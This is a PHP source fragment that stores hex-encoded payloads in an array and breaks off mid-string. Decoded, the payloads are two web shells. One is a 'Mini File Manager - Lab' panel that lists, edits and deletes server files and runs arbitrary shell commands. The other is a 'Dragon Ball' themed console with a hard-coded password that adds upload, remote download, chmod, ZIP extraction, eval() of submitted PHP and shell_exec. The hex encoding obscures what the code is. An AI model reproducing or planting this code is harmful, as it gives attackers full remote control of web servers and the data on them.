$d = ["3c3f7068700d0a2f2a2a0d0a202a200d0a202a2f0d0a0d0a2f2f20312e20e59fbae7a180e9858de7bdaee4b88ee8b7afe5be84e88eb7e58f960d0a2463757272656e745f646972203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a69662028212463757272656e745f646972207c7c202169735f646972282463757272656e745f6469722929207b0d0a202020202463757272656e745f646972203d207265616c7061746828272e27293b0d0a7d0d0a2f2f20e7a1aee4bf9de8b7afe5be84e69cabe5b0bee69c89e6969ce69da00d0a2463757272656e745f646972203d20727472696d282463757272656e745f6469722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a0d0a2f2f20322e20e5a484e79086e69687e4bbb6e6938de4bd9ce980bbe8be910d0a246d657373616765203d2022223b0d0a0d0a2f2f20e696b0e5bbbae69687e4bbb6e68896e69687e4bbb6e5a4b90d0a69662028697373657428245f504f53545b27616374696f6e275d2929207b0d0a2020202069662028245f504f53545b27616374696f6e275d203d3d20276d6b646972272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a202020202020202024746172676574203d202463757272656e745f646972202e20245f504f53545b276e616d65275d3b0d0a2020202020202020406d6b646972282474617267657429203f20246d657373616765203d2022e79baee5bd95e5889be5bbbae68890e58a9f22203a20246d657373616765203d2022e79baee5bd95e5889be5bbbae5a4b1e8b4a5223b0d0a202020207d0d0a2020202069662028245f504f53545b27616374696f6e275d203d3d20276d6b66696c65272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a202020202020202024746172676574203d202463757272656e745f646972202e20245f504f53545b276e616d65275d3b0d0a20202020202020204066696c655f7075745f636f6e74656e747328247461726765742c2022222920213d3d2066616c7365203f20246d657373616765203d2022e69687e4bbb6e5889be5bbbae68890e58a9f22203a20246d657373616765203d2022e69687e4bbb6e5889be5bbbae5a4b1e8b4a5223b0d0a202020207d0d0a202020202f2f20e4bf9de5ad98e7bc96e8be91e79a84e69687e4bbb60d0a2020202069662028245f504f53545b27616374696f6e275d203d3d202765646974272026262021656d70747928245f504f53545b2766696c6570617468275d2929207b0d0a20202020202020204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c6570617468275d2c20245f504f53545b27636f6e74656e74275d2920213d3d2066616c7365200d0a2020202020202020202020203f20246d657373616765203d2022e69687e4bbb6e4bf9de5ad98e68890e58a9f22203a20246d657373616765203d2022e69687e4bbb6e4bf9de5ad98e5a4b1e8b4a5223b0d0a202020207d0d0a7d0d0a0d0a2f2f20e588a0e999a4e6938de4bd9c0d0a69662028697373657428245f4745545b2764656c275d2929207b0d0a2020202024746172676574203d20245f4745545b2764656c275d3b0d0a202020206966202869735f66696c6528247461726765742929207b0d0a202020202020202040756e6c696e6b282474617267657429203f20246d657373616765203d2022e69687e4bbb6e588a0e999a4e68890e58a9f22203a20246d657373616765203d2022e69687e4bbb6e588a0e999a4e5a4b1e8b4a5223b0d0a202020207d20656c73656966202869735f64697228247461726765742929207b0d0a202020202020202040726d646972282474617267657429203f20246d657373616765203d2022e7a9bae79baee5bd95e588a0e999a4e68890e58a9f22203a20246d657373616765203d2022e79baee5bd95e588a0e999a4e5a4b1e8b4a528e58fafe883bde99d9ee7a9ba29223b0d0a202020207d0d0a7d0d0a0d0a2f2f20332e20e8afbbe58f96e5bd93e5898de79baee5bd95e4b88be79a84e69687e4bbb6e58897e8a1a80d0a2466696c6573203d205b5d3b0d0a69662028246468203d206f70656e646972282463757272656e745f6469722929207b0d0a202020207768696c652028282466696c65203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466696c65203d3d20272e272920636f6e74696e75653b0d0a20202020202020202466696c6570617468203d202463757272656e745f646972202e202466696c653b0d0a20202020202020202466696c65735b5d203d205b0d0a202020202020202020202020276e616d6527203d3e202466696c652c0d0a202020202020202020202020277061746827203d3e202466696c65706174682c0d0a2020202020202020202020202769735f64697227203d3e2069735f646972282466696c6570617468292c0d0a2020202020202020202020202773697a6527203d3e2069735f646972282466696c657061746829203f202764697227203a20726f756e642866696c6573697a65282466696c657061746829202f20313032342c203229202e2027204b42272c0d0a202020202020202020202020277065726d7327203d3e2073756273747228737072696e74662827256f272c2066696c657065726d73282466696c657061746829292c202d34292c0d0a202020202020202020202020276d74696d6527203d3e20646174652822592d6d2d6420483a693a73222c2066696c656d74696d65282466696c657061746829290d0a20202020202020205d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a0d0a2f2f20e68e92e5ba8fefbc9ae79baee5bd95e59ca8e5898defbc8ce69687e4bbb6e59ca8e5908e0d0a75736f7274282466696c65732c2066756e6374696f6e2824612c20246229207b0d0a202020206966202824615b2769735f646972275d203d3d2024625b2769735f646972275d292072657475726e207374726e617463617365636d702824615b276e616d65275d2c2024625b276e616d65275d293b0d0a2020202072657475726e2024615b2769735f646972275d203f202d31203a20313b0d0a7d293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a682d434e223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653e4d696e692046696c65204d616e61676572202d204c61623c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a206d6f6e6f73706163653b206261636b67726f756e643a20233161316131613b20636f6c6f723a20236330633063303b206d617267696e3a20323070783b207d0d0a202020202020202061207b20636f6c6f723a20233563623835633b20746578742d6465636f726174696f6e3a206e6f6e653b207d0d0a2020202020202020613a686f766572207b20746578742d6465636f726174696f6e3a20756e6465726c696e653b207d0d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b206d617267696e2d746f703a20313070783b206261636b67726f756e643a20233232323b207d0d0a202020202020202074682c207464207b2070616464696e673a203870783b20746578742d616c69676e3a206c6566743b20626f726465723a2031707820736f6c696420233333333b207d0d0a20202020202020207468207b206261636b67726f756e643a20233264326432643b20636f6c6f723a20236666663b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20233261326132613b207d0d0a20202020202020202e696e666f2d626f78207b206261636b67726f756e643a20233264326432643b2070616464696e673a20313070783b20626f726465722d6c6566743a2035707820736f6c696420233563623835633b206d617267696e2d626f74746f6d3a20313570783b207d0d0a20202020202020202e636d642d626f782c202e656469742d626f78207b206261636b67726f756e643a20233232323b2070616464696e673a20313570783b20626f726465723a2031707820736f6c696420233333333b206d617267696e2d746f703a20313570783b207d0d0a2020202020202020696e7075745b747970653d2274657874225d2c207465787461726561207b206261636b67726f756e643a20233333333b20636f6c6f723a20236666663b20626f726465723a2031707820736f6c696420233434343b2070616464696e673a203570783b20666f6e742d66616d696c793a206d6f6e6f73706163653b207d0d0a2020202020202020696e7075745b747970653d227375626d6974225d207b206261636b67726f756e643a20233563623835633b20636f6c6f723a20236666663b20626f726465723a206e6f6e653b2070616464696e673a2035707820313570783b20637572736f723a20706f696e7465723b207d0d0a2020202020202020696e7075745b747970653d227375626d6974225d3a686f766572207b206261636b67726f756e643a20233463616534633b207d0d0a20202020202020202e6d7367207b20636f6c6f723a20236666333333333b20666f6e742d7765696768743a20626f6c643b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a232320f09f96a5efb88f20e69c8de58aa1e599a8e78eafe5a283e4bfa1e681af0d0a3c64697620636c6173733d22696e666f2d626f78223e0d0a202020203c7374726f6e673ee7b3bbe7bb9f3a3c2f7374726f6e673e203c3f706870206563686f207068705f756e616d6528293b203f3e3c62723e0d0a202020203c7374726f6e673e50485020e78988e69cac3a3c2f7374726f6e673e203c3f706870206563686f2070687076657273696f6e28293b203f3e207c200d0a202020203c7374726f6e673ee5ae89e585a8e6a8a1e5bc8f3a3c2f7374726f6e673e203c3f706870206563686f20696e695f6765742827736166655f6d6f64652729203f20274f4e27203a20274f4646273b203f3e3c62723e0d0a202020203c7374726f6e673ee5bd93e5898de7bb9de5afb9e8b7afe5be842028437764293a3c2f7374726f6e673e203c7370616e207374796c653d22636f6c6f723a236666663b223e3c3f706870206563686f202463757272656e745f6469723b203f3e3c2f7370616e3e0d0a3c2f6469763e0d0a0d0a3c3f7068702069662821656d70747928246d6573736167652929206563686f20223c7020636c6173733d276d7367273ee9809ae79fa53a20246d6573736167653c2f703e223b203f3e0d0a0d0a232320f09f938120e69687e4bbb6e7aea1e79086e599a80d0a3c7461626c653e0d0a202020203c74686561643e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74683ee5908de7a7b03c2f74683e0d0a2020202020202020202020203c74683ee5a4a7e5b08f3c2f74683e0d0a2020202020202020202020203c74683ee4bfaee694b9e697b6e997b43c2f74683e0d0a2020202020202020202020203c74683ee69d83e999903c2f74683e0d0a2020202020202020202020203c74683ee6938de4bd9c3c2f74683e0d0a20202020202020203c2f74723e0d0a202020203c2f74686561643e0d0a202020203c74626f64793e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74643e3c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757272656e745f64697229293b203f3e223ee38090202e2e20e3809128e8bf94e59b9ee4b88ae7baa7293c2f613e3c2f74643e0d0a2020202020202020202020203c74643e6469723c2f74643e0d0a2020202020202020202020203c74643e2d3c2f74643e0d0a2020202020202020202020203c74643e2d3c2f74643e0d0a2020202020202020202020203c74643e2d3c2f74643e0d0a20202020202020203c2f74723e0d0a20202020202020200d0a20202020202020203c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74643e0d0a202020202020202020202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22207374796c653d22636f6c6f723a20236630616434653b223e5b203c3f706870206563686f2024665b276e616d65275d3b203f3e205d3c2f613e0d0a202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e26766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020203c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b276d74696d65275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e0d0a202020202020202020202020202020203c3f70687020696620282124665b2769735f646972275d293a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e26656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee7bc96e8be913c2f613e207c200d0a202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e2664656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e7a1aee5ae9ae588a0e999a4efbc9f2729223ee588a0e999a43c2f613e0d0a2020202020202020202020203c2f74643e0d0a20202020202020203c2f74723e0d0a20202020202020203c3f70687020656e64666f72656163683b203f3e0d0a202020203c2f74626f64793e0d0a3c2f7461626c653e0d0a0d0a2d2d2d0d0a0d0a232320f09f9ba0efb88f20e6938de4bd9ce99da2e69dbf0d0a0d0a3c64697620636c6173733d22636d642d626f78223e0d0a202020203c68333ee696b0e5bbbae9a1b93c2f68333e0d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e22207374796c653d22646973706c61793a696e6c696e652d626c6f636b3b206d617267696e2d72696768743a323070783b223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b646972223e0d0a2020202020202020e696b0e5bbbae69687e4bbb6e5a4b93a203c696e70757420747970653d227465787422206e616d653d226e616d65222072657175697265643e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e5889be5bbba223e0d0a202020203c2f666f726d3e0d0a202020200d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e22207374796c653d22646973706c61793a696e6c696e652d626c6f636b3b223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b66696c65223e0d0a2020202020202020e696b0e5bbbae7a9bae69687e4bbb63a203c696e70757420747970653d227465787422206e616d653d226e616d65222072657175697265643e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e5889be5bbba223e0d0a202020203c2f666f726d3e0d0a3c2f6469763e0d0a0d0a3c3f706870200d0a69662028697373657428245f4745545b2776696577275d29293a200d0a2020202024766965775f70617468203d20245f4745545b2776696577275d3b0d0a202020206966202869735f66696c652824766965775f7061746829293a0d0a3f3e0d0a202020203c64697620636c6173733d22656469742d626f78223e0d0a20202020202020203c68333ef09f948d20e69fa5e79c8be69687e4bbb63a203c3f706870206563686f2068746d6c7370656369616c636861727328626173656e616d652824766965775f7061746829293b203f3e3c2f68333e0d0a20202020202020203c707265207374796c653d226261636b67726f756e643a233030303b2070616464696e673a313070783b206f766572666c6f773a6175746f3b206d61782d6865696768743a333070783b20636f6c6f723a236136653232653b223e3c3f706870206563686f2068746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e74732824766965775f7061746829293b203f3e3c2f7072653e0d0a202020203c2f6469763e0d0a3c3f70687020656e6469663b20656e6469663b203f3e0d0a0d0a3c3f706870200d0a69662028697373657428245f4745545b2765646974275d29293a200d0a2020202024656469745f70617468203d20245f4745545b2765646974275d3b0d0a202020206966202869735f66696c652824656469745f7061746829293a0d0a3f3e0d0a202020203c64697620636c6173733d22656469742d626f78223e0d0a20202020202020203c68333ef09f939d20e7bc96e8be91e69687e4bbb63a203c3f706870206563686f2068746d6c7370656369616c636861727328626173656e616d652824656469745f7061746829293b203f3e3c2f68333e0d0a20202020202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e223e0d0a2020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2265646974223e0d0a2020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d2266696c6570617468222076616c75653d223c3f706870206563686f2068746d6c7370656369616c63686172732824656469745f70617468293b203f3e223e0d0a2020202020202020202020203c7465787461726561206e616d653d22636f6e74656e7422207374796c653d2277696474683a313030253b206865696768743a33303070783b223e3c3f706870206563686f2068746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e74732824656469745f7061746829293b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a2020202020202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e4bf9de5ad98e4bfaee694b9223e0d0a20202020202020203c2f666f726d3e0d0a202020203c2f6469763e0d0a3c3f70687020656e6469663b20656e6469663b203f3e0d0a0d0a3c64697620636c6173733d22636d642d626f78223e0d0a202020203c68333ef09f92bb20e591bde4bba4e689a7e8a18c202845786563293c2f68333e0d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e223e0d0a2020202020202020e8be93e585a5e7b3bbe7bb9fe591bde4bba43a203c696e70757420747970653d227465787422206e616d653d22636d6422207374796c653d2277696474683a203630253b222076616c75653d223c3f706870206563686f20697373657428245f504f53545b27636d64275d29203f2068746d6c7370656369616c636861727328245f504f53545b27636d64275d29203a2027273b203f3e223e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e689a7e8a18c223e0d0a202020203c2f666f726d3e0d0a202020203c3f7068700d0a202020206966202821656d70747928245f504f53545b27636d64275d2929207b0d0a20202020202020206563686f20223c707265207374796c653d276261636b67726f756e643a233030303b20636f6c6f723a233030666630303b2070616464696e673a313070783b206d617267696e2d746f703a313070783b273e223b0d0a20202020202020202f2f20e5b09de8af95e58887e68da2e588b0e5bd93e5898de79baee5bd95e5868de689a7e8a18ce591bde4bba4efbc8ce4bdbfe4b88ae4b88be69687e8b7afe5be84e4b880e887b40d0a202020202020202024636d64203d202263642022202e206573636170657368656c6c617267282463757272656e745f64697229202e20222026262022202e20245f504f53545b27636d64275d3b0d0a20202020202020206563686f2068746d6c7370656369616c6368617273287368656c6c5f657865632824636d64202e202220323e26312229293b0d0a20202020202020206563686f20223c2f7072653e223b0d0a202020207d0d0a202020203f3e0d0a3c2f6469763e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f94b520e4b883e9be99e78fa020c2b720e7a59ee6aebfe68ea7e588b6e58fb00d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a73657373696f6e5f737461727428293b0d0a6572726f725f7265706f7274696e672830293b0d0a696e695f7365742827646973706c61795f6572726f7273272c2030293b0d0a0d0a2f2a202d2d2d2d20312e20e7a59ee6aebfe7bb93e7958ce9aa8ce8af81202d2d2d2d202a2f0d0a646566696e652827445241474f4e5f42414c4c272c202761736427293b0d0a0d0a69662028697373657428245f4745545b276c6f676f7574275d2929207b2073657373696f6e5f64657374726f7928293b2068656164657228274c6f636174696f6e3a203f27293b20657869743b207d0d0a69662028697373657428245f504f53545b276b69275d2929207b0d0a2020202069662028245f504f53545b276b69275d203d3d3d20445241474f4e5f42414c4c2920245f53455353494f4e5b2777617272696f72275d203d20313b0d0a2020202068656164657228274c6f636174696f6e3a203f27293b20657869743b0d0a7d0d0a6966202821697373657428245f53455353494f4e5b2777617272696f72275d2929207b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee7a59ee6aebfe7bb93e7958c3c2f7469746c653e3c7374796c653e0d0a20202020626f64797b6261636b67726f756e643a233061306132613b636f6c6f723a236666386330303b666f6e742d66616d696c793a225365676f65205549222c73616e732d73657269663b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d0d0a202020202e676174657b626f726465723a32707820736f6c696420236666386330303b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a726762612831302c31302c34322c2e3935293b626f726465722d7261646975733a313070783b626f782d736861646f773a30203020343070782072676261283235352c3134302c302c2e35293b7d0d0a2020202068317b6c65747465722d73706163696e673a313570783b6d617267696e2d626f74746f6d3a333070783b746578742d736861646f773a302030203135707820236666386330303b7d0d0a20202020696e7075747b6261636b67726f756e643a7472616e73706172656e743b636f6c6f723a236666386330303b626f726465723a31707820736f6c696420236666386330303b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b6f75746c696e653a6e6f6e653b7d0d0a20202020627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a236666386330303b636f6c6f723a233061306132613b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b626f726465722d7261646975733a3570783b7d0d0a202020203c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d2267617465223e3c68313ef09f94b520e7a59e20e6aebf20e7bb9320e7958c3c2f68313e0d0a202020203c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d226b692220747970653d2270617373776f72642220706c616365686f6c6465723d22e6b187e8819ae58583e6b09422206175746f666f6375733e3c62723e0d0a202020203c627574746f6e20747970653d227375626d6974223ee586b220e587bb3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e8b7afe5be84e4b88ee59fbae7a180202d2d2d2d202a2f0d0a24637572203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a696620282124637572207c7c202169735f646972282463757229292024637572203d207265616c7061746828272e27293b0d0a24637572203d20727472696d28246375722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a246d7367203d2027273b0d0a0d0a2f2a202d2d2d2d20332e20e6a0b8e5bf83e980bbe8be91e5a484e79086202d2d2d2d202a2f0d0a2f2f20e4b88ae4bca00d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202775706c6f6164272026262021656d70747928245f46494c45535b2766696c65275d2929207b0d0a20202020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c2024637572202e20626173656e616d6528245f46494c45535b2766696c65275d5b276e616d65275d29293b0d0a7d0d0a2f2f20e696b0e5bbba0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b646972272920406d6b6469722824637572202e20245f504f53545b276e616d65275d293b0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b66696c652729204066696c655f7075745f636f6e74656e74732824637572202e20245f504f53545b276e616d65275d2c202727293b0d0a2f2f20e588a0e999a40d0a69662028697373657428245f4745545b2764656c275d2929207b202474203d20245f4745545b2764656c275d3b2069735f66696c6528247429203f2040756e6c696e6b28247429203a2040726d646972282474293b207d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202772656e616d652729204072656e616d6528245f504f53545b276f6c64275d2c20245f504f53545b276e6577275d293b0d0a2f2f20e69d83e999900d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202763686d6f642729204063686d6f6428245f504f53545b2766696c65275d2c206f637464656328245f504f53545b276d6f6465275d29293b0d0a2f2f20e7bc96e8be91e4bf9de5ad980d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d2027736176652729204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c65275d2c20245f504f53545b27636f6e74656e74275d293b0d0a2f2f2055524c20e4b88be8bdbd0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202775726c646c2729207b0d0a202020202464617461203d204066696c655f6765745f636f6e74656e747328245f504f53545b2775726c275d293b0d0a2020202069662028246461746129204066696c655f7075745f636f6e74656e74732824637572202e20626173656e616d6528245f504f53545b2775726c275d292c202464617461293b0d0a7d0d0a2f2f205a495020e8a7a3e58e8b0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d2027756e7a69702720262620636c6173735f65786973747328275a697041726368697665272929207b0d0a20202020247a203d206e6577205a6970417263686976653b2069662028247a2d3e6f70656e28245f504f53545b277a6970275d29203d3d3d205452554529207b20247a2d3e65787472616374546f2824637572293b20247a2d3e636c6f736528293b207d0d0a7d0d0a2f2f204576616c20e7bdaee9a1b6e6a0b8e5bf832028e58583e6b094e5bcb9290d0a246576616c5f726573203d2027273b0d0a69662028697373657428245f504f53545b277370697269745f626f6d62275d2929207b0d0a202020206f625f737461727428293b0d0a20202020747279207b206576616c28245f504f53545b277370697269745f626f6d62275d293b207d20636174636820285468726f7761626c6520246529207b206563686f2022e58583e6b094e4b88de8b6b33a2022202e2024652d3e6765744d65737361676528293b207d0d0a20202020246576616c5f726573203d206f625f6765745f636c65616e28293b0d0a7d0d0a2f2f20e591bde4bba4e689a7e8a18c2028e79eace997b4e7a7bbe58aa8290d0a24636d645f726573203d2027273b0d0a69662028697373657428245f504f53545b27696e7374616e745f7472616e736d697373696f6e275d2929207b0d0a2020202024636d645f726573203d207368656c6c5f65786563282263642022202e206573636170657368656c6c617267282463757229202e20222026262022202e20245f504f53545b27696e7374616e745f7472616e736d697373696f6e275d202e202220323e263122293b0d0a7d0d0a0d0a2f2a202d2d2d2d20342e20e69687e4bbb6e58897e8a1a8202d2d2d2d202a2f0d0a2466696c6573203d205b5d3b0d0a69662028246468203d20406f70656e64697228246375722929207b0d0a202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466203d3d20272e272920636f6e74696e75653b0d0a2020202020202020246670203d2024637572202e2024663b0d0a20202020202020202466696c65735b5d203d205b0d0a202020202020202020202020276e616d6527203d3e2024662c20277061746827203d3e202466702c202769735f64697227203d3e2069735f64697228246670292c0d0a2020202020202020202020202773697a6527203d3e2069735f6469722824667029203f20272d27203a20726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c0d0a202020202020202020202020277065726d7327203d3e2073756273747228737072696e74662827256f272c2066696c657065726d732824667029292c202d34292c0d0a202020202020202020202020276d74696d6527203d3e20646174652822592d6d2d6420483a69222c2066696c656d74696d652824667029290d0a20202020202020205d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f7274282466696c65732c2066756e6374696f6e2824612c20246229207b0d0a202020206966202824615b2769735f646972275d203d3d2024625b2769735f646972275d292072657475726e207374726e617463617365636d702824615b276e616d65275d2c2024625b276e616d65275d293b0d0a2020202072657475726e2024615b2769735f646972275d203f202d31203a20313b0d0a7d293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653ee7a59ee6aebfe68ea7e588b6e58fb03c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a20225365676f65205549222c2073616e732d73657269663b206261636b67726f756e643a20233061306132613b20636f6c6f723a20236530653066663b206d617267696e3a20313070783b20666f6e742d73697a653a20313470783b207d0d0a20202020202020202e746f702d626172207b206261636b67726f756e643a206c696e6561722d6772616469656e742839306465672c20233161316133612c2023306130613261293b20626f726465723a2031707820736f6c696420236666386330303b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e746f702d6261722061207b20636f6c6f723a20236666386330303b20746578742d6465636f726174696f6e3a206e6f6e653b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020202e746f702d62617220612e6c6f676f7574207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20236666343530303b207d0d0a20202020202020200d0a20202020202020202e636f6e7461696e6572207b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6c6566742d70616e656c207b20666c65783a20313b207d0d0a20202020202020202e72696768742d70616e656c207b2077696474683a203335253b20646973706c61793a20666c65783b20666c65782d646972656374696f6e3a20636f6c756d6e3b207d0d0a20202020202020200d0a20202020202020202e63617264207b206261636b67726f756e643a20233161316133613b20626f726465723a2031707820736f6c696420233361336135613b2070616464696e673a20313570783b206d617267696e2d626f74746f6d3a20313570783b20626f726465722d7261646975733a203570783b207d0d0a20202020202020202e63617264206833207b206d617267696e2d746f703a20303b20636f6c6f723a20236666386330303b20626f726465722d626f74746f6d3a2031707820736f6c696420233361336135613b2070616464696e672d626f74746f6d3a203870783b207d0d0a20202020202020200d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a202020202020202074682c207464207b2070616464696e673a203870783b20626f726465723a2031707820736f6c696420233361336135613b207d0d0a20202020202020207468207b206261636b67726f756e643a20233261326134613b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20233261326134613b207d0d0a20202020202020200d0a2020202020202020696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20233061306132613b20636f6c6f723a20236666386330303b20626f726465723a2031707820736f6c696420233361336135613b2070616464696e673a203670783b20666f6e742d66616d696c793a206d6f6e6f73706163653b207d0d0a2020202020202020627574746f6e207b206261636b67726f756e643a20236666386330303b20636f6c6f723a20233061306132613b20626f726465723a206e6f6e653b2070616464696e673a2036707820313570783b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b20626f726465722d7261646975733a203470783b207d0d0a20202020202020202e6d7367207b20636f6c6f723a20233332636433323b20666f6e742d7765696768743a20626f6c643b207d0d0a2020202020202020707265207b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b2070616464696e673a20313070783b206f766572666c6f773a206175746f3b2077686974652d73706163653a207072652d777261703b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d22746f702d626172223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757229293b203f3e223e5b20e59b9ee59cb0e79083205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b20e58583e6b094e5bcb9205d3c2f613e0d0a202020203c6120687265663d2223746f6f6c73223e5b20e883b6e59b8ae585ace58fb8205d3c2f613e0d0a202020203c6120687265663d223f6c6f676f75743d312220636c6173733d226c6f676f7574223e5b20e59b9ee7958ce78e8be6989f205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d22636f6e7461696e6572223e0d0a202020203c64697620636c6173733d226c6566742d70616e656c223e0d0a20202020202020203c